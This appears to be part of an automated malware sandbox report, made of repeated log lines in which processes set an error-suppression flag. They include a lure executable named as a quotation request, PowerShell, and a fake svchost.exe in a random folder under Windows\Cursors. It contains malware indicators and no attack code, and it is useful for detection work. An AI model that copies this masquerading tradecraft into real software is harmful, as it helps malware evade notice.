Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
